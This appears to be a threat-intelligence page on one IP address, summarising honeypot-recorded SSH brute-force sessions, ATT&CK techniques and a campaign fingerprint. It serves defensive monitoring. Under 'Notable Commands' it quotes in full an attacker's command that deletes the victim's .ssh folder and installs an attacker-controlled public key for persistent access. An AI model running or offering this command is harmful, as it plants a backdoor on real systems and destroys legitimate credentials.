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139.59.119.48

TAGGED SUSPICIOUS how we decide →

Threat Confidence

56%

Location

🇸🇬 SG / Singapore

ASN

AS14061 · DigitalOcean, LLC

Cloud Provider

DigitalOcean

Total Events

121

Above average by volume

Agent Count

First / Last Seen

2026-05-22 03:25 — 2026-05-22 03:58

Attack Types

ssh:bruteforce

MITRE ATT&CK Techniques

Reconnaissance

T1595.002

Initial Access

T1078

Defense Evasion

T1070.004

Credential Access

T1110 T1110.001

Discovery

T1016 T1082

Command and Control

T1105

External Corroboration

Blocklist.de

Reported 2026-05-22 18:01

blocklist_de:reported

Campaigns

HASSH f555226df196… — SSH-2.0-libssh_0.9.6 (1163 IPs, 90 countries) HASSH Active high 🇺🇸 US

1163 IPs 376528 events

ssh:bruteforce

2026-02-25 — ongoing · 1163 IPs are running an identical SSH client (HASSH fingerprint f555226df196…). Top network: Tencent Building, Kejizhongyi Avenue (AS132203). …

Session Forensics

reconnaissance ×1 malware_dropper ×3 credential_probe ×10 opportunistic_bruter ×4

Sessions

18 (8 with login)

Avg Depth Score

0.42

Commands Executed

Files Downloaded

Notable Commands

cd ~; chattr -ia .ssh; lockr -ia .ssh
lockr -ia .ssh
cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Fingerprints

HASSH

f555226df1963d1d3c09daf865abdc9a

SSH Client

SSH-2.0-libssh_0.9.6

Evidence Timeline

Opportunistic Bruter bc2223d4e921 w4m_singapore_01 · 2026-05-22 03:58

1 50%

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Malware Dropper b6e3c6700eed w4m_singapore_01 · 2026-05-22 03:58

3 1 1 100%

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Credential Probe faa6927e95c3 w4m_singapore_01 · 2026-05-22 03:58

1 20%

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Credential Probe 012e3068ef3e w4m_singapore_01 · 2026-05-22 03:55

1 20%

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Credential Probe 8915879c33df w4m_singapore_01 · 2026-05-22 03:52

1 20%

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Credential Probe 58a618fb9259 w4m_singapore_01 · 2026-05-22 03:48

1 20%

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Credential Probe c5cac07a88ce w4m_singapore_01 · 2026-05-22 03:45

1 20%

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Opportunistic Bruter 9332845211f7 w4m_singapore_01 · 2026-05-22 03:41

1 50%

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Reconnaissance 522e52a3e9ae w4m_singapore_01 · 2026-05-22 03:41

3 1 60%

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Credential Probe 47103dea6241 w4m_singapore_01 · 2026-05-22 03:41

1 20%

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Credential Probe de1879c8d841 w4m_singapore_01 · 2026-05-22 03:38

1 20%

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Opportunistic Bruter 5ae6e67c7e67 w4m_singapore_01 · 2026-05-22 03:34

1 50%

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Malware Dropper 9aaac360a564 w4m_singapore_01 · 2026-05-22 03:34

3 1 1 100%

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Credential Probe 390bac348360 w4m_singapore_01 · 2026-05-22 03:34

1 20%

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Opportunistic Bruter 0420041750f3 w4m_singapore_01 · 2026-05-22 03:30

1 50%

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Malware Dropper 9d97f73681d3 w4m_singapore_01 · 2026-05-22 03:30

3 1 1 100%

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Credential Probe 0696198fa0c3 w4m_singapore_01 · 2026-05-22 03:30

1 20%

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Credential Probe 4a738bd9c464 w4m_singapore_01 · 2026-05-22 03:25

1 20%

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